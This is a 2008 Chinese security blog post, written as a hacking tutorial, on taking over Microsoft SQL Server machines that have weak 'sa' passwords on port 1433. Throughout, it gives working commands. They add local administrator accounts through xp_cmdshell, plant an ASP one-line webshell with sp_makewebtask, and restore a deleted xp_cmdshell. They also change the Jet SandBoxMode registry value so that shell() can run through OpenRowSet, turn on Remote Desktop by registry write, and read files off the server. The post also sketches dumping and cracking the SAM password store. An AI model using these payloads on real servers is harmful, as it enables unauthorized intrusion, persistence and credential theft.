Ay's Blog@CNSSUESTC

关于1433弱口令的利用-- by __ay

      这篇文章是面对大部分人的,所以对某些水平的人来说难免会有许多废话,你们可以跳过,呵呵~好了,开始吧……啊~我肚子饿了~呵呵

      首先讲下什么是1433弱口令漏洞,所谓弱口令就是指很简单的一些密码随便猜就能猜出来的,比如说密码是123,123456,admin甚至用户名密码 相同等等之类的状况,我们就能轻易获得对方的密码。呵呵,许多人都很懒,所以密码都很简单,包括我也是,呵呵……(而且还经常那123当临时密码)。在说 下什么是1433弱口令,1433所指的是1个服务端口,什么服务呢?那就是传说中的MSSQL啦,试想MSSQL安装之初的默认密码是空,然而又存在许 多懒网管,那么我们只要拿个工具简单的扫下在检测下密码……嘿嘿……可想而之扫到1433弱口令的几率还是蛮大的~呵呵

    接下来我们说说拿到SA权限的1433弱口令我们能干什么,大家都知道XP_CMDSHELL这个扩展储存吧,这个扩展储存可以看做是MSSQL提供给管 理者执行CMD命令的一个功能模块,通过这个我们可以执行CMD命令而更可喜的是SA权限的帐户一般都是以SYSTEM权限启动的,权限相当于计算机管理 员权限,那么我们相当于可以用CMD命令的形式控制你要入侵的计算机了,当然我们肯定不会满足于用CMD控制机器,我们的目标是通过3389或者其他的软 件来达到控制计算机的目的。下面我们来分类讨论各种情况下的切入点,仅供参考……

以下假设你拿到了SA权限若口令的机器。有专门的SQL查询分析器可以连接对方.大家有兴趣可以去下一个来看看.

 

1.当3389终端开启的时候,而目标机子也没做类似IP这样的过滤,那么我们就直接执行CMD命令加个用户,然后用加的用户登上去就OK了~呵呵

(需要无敌RP啊~~~)

2.那么如果CMD命令可以执行,但是没开3389,我们先扫下目标IP,看他有没有开80端口,有的话90%是有 WEB服务的,那么我们是SA权限直接丢个小马上去,嘿嘿.........有了马我们可以上传东西啦~~传个开3389的工具上去执行,机器重启下就可 以登3389了.

 

以下是SA权限下备分小马的语句;

exec sp_makewebtask '备分路径',' select ''一句话木马'' ';--

 

例子如下

http:\\xx.x.x.x.asp?id=1;exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''<%25eval (request('#'))25%>'' ';--

 

 

        其实1433弱口令跟注入非常相似,比如你1433上有WEB服务你也可以用查询语句把用户名和密码找出来进后台传马.思路是非常多的,但是看你怎么使用了.

      MSSQL的功能非常强大,所以几乎没有它办不到的事(扩展储存没删除情况下~而且SA权限没被降为USERS用户启动).但是但是万一人家把CMD给你 删除了,恢复也恢复不了的时候又该怎么办呢?如果我们没有CMDSHELL,又没开3389,那么SA权限看起来就象是鸡肋~

 

      关于在SQL连接器上查看目录的方式

 

exec xp_dirtree '(目录名,比如c:\)',1,1

     

      执行后就会返回目标机器指定目录下的文件夹和文件,那么通过这个你就可以列目录了

      这个扩展储存的说明在注入语句集合里面有,这里就略过

 

 

 

 

 

exec xp_regread/exec xp_regwrite 注册表操作的扩展储存

 

      下面引用啊D注入语句里面的例子

 

写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

 

读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

 

 

     如果CMDSHELL用不了的时候,我们来试着恢复下CMD

 

    exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

 

    然后执行CMD命令,如果还是不行的话,唉~~那没办法了,呵呵,一会讲到,呵呵~~~继续往下看吧~

 

     来,我们来提一下传说中的沙盒模式提权,

 

 

不是分割线

--------------------------------------------------------------------------------------------------------------------------------

     首先我在<Jet引擎可以调用VBA的shell()函数>(http://support.microsoft.com/kb /q239104/)这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下:

SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');

 

查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句

Set Conn=Createobject("Adodb.Connection")

Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"

Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)


运行后会出现"表达式中的'Shell'函数未 定义"的错误,<Jet引擎可以调用VBA的 shell()函数>提到WINDOWS在Jet引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在 HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,0为在任何所 有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access 的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了 系统命令.

通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接,就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下


exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value


如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句


InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--


那我们将SandBoxMode开关的注册表值修改为0就成功 了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用 ASP文件Select调用这个VBA的 shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个 SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个 Access数据库,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,这样一来我们又可以利用OpenRowSet函数构造出如下注入语句:
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');--


如果你觉得不大好懂的话,我可以给你做一个简化的理解:
1,Access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令

      

 

------------------------------------------------------------------------------------------

不是分割线

     

      看完了吧~辛苦了~呵呵,呵呵,直接把原文贴出来了,我好懒啊我~原理就是上面说的那个

      CMD不是删除了么?嘿嘿~我们用刚刚讲的方法来执行,具体如下

     

首先执行

 

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1

 

 


呵呵~把注册表改了~

不放心的话我们来读读看~

 

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'

 

如果返回的值是1的话证明命令成功了

 


那么我们就可以用SYSTEM函数来执行命令了 下面给出执行命令语句

 

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c query user >c:\windows\11.txt")');

 

红色字体的是我执行的命令,>c:\windows \11.txt的意思是把回显命令导入到windows的文件夹下的1.txt,一会要用到的.黑色字体是我们数据库的路径,特别需要注意的是如果是 windows2000 那么灰色部分就应该是c:\winnt\system32\ias\ias.mdb 

如果是windows2003的话就是c:\windows\system32\ias\ias.mdb

 

后边也是一样情况 win2003是windows目录而2000是winnt目录

 

 

 

执行命令的时候是不是心里面很没底呢?而且有些命令比如NETSTAT之类的是需要查看回显的,那么怎么才能得到回显呢~~~嘿嘿~~无疑MSSQL肯定为我们提供了读取文件内容的功能操作

那么我们就来看看怎么操作的吧~~呵呵

操作如下
select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')

 

灰色部分是文件所在目录,而红色是文件名

 

比如我想读D:\WWW\XXX\目录下的A.ASP文件,那么语句如下

 

select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')

 

还记得我刚刚把命令回显导出的步骤吗?我们就用上面这个操作来读取TXT内容就可以得到我们的CMD执行命令回显了,很好玩吧~呵呵  

 

这就是我饶过CMDSHELL来执行命令的一点心得,呵呵  我们接下来说说3389的问题

 

一些关于3389终端的信息:

 

      其实在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp下的PortNumber键值 和

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp下的PortNumber键值

记录着3389的端口号 如果想改连接端口号的话直接用xp_regwrite修改对应的键值就OK了~呵呵

 

      那么接下来说说最关键的问题,在注册表下存在一个决定3389开启与否的键值,键值位置如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server下的fDenyTSConnections

 

其值是0表示开启 1表示关闭,我们直接用XP_REGWRITE把值修改就好了~~

 

 

语句如下

 

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0

 

你们不放心可以用XP_REGREAD确认

具体语句不写了,大家现学现卖吧,呵呵~~

 

好了,最后说过我没实践过的思路,理论上可行吧,呵呵

 

当你的沙盒模式也不能用的时候那么,嘿嘿   ^-^

我们起码还是能从目标机器上拿点什么东西的嘛,比如说SAM啊~呵呵

 

首先用OPENROWSET这个函数把SAM的内容暴出来

然后复制内容,本地新建个SAM把复制的内容导进去,保存,相当与把目标机子的SAM给下下来,然后暴吧~~把管理员的密码暴出来,接着用XP_REGWRITE把3389端口开了就好了

 

 

其实开3389的时候还会遇到很多情况,由于我没实践,所以没什么好说的了,如果大家以后遇到什么这方面的问题可以拿来一起讨论,嘿嘿

 

至于怎么破SAM,OPENROWSET的函数用法之类的就不说了~去百度一下吧~~

 

posted on 2008-12-07 16:15 __ay 阅读(2435) 评论(0)  编辑 收藏 引用 所属分类: Security


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理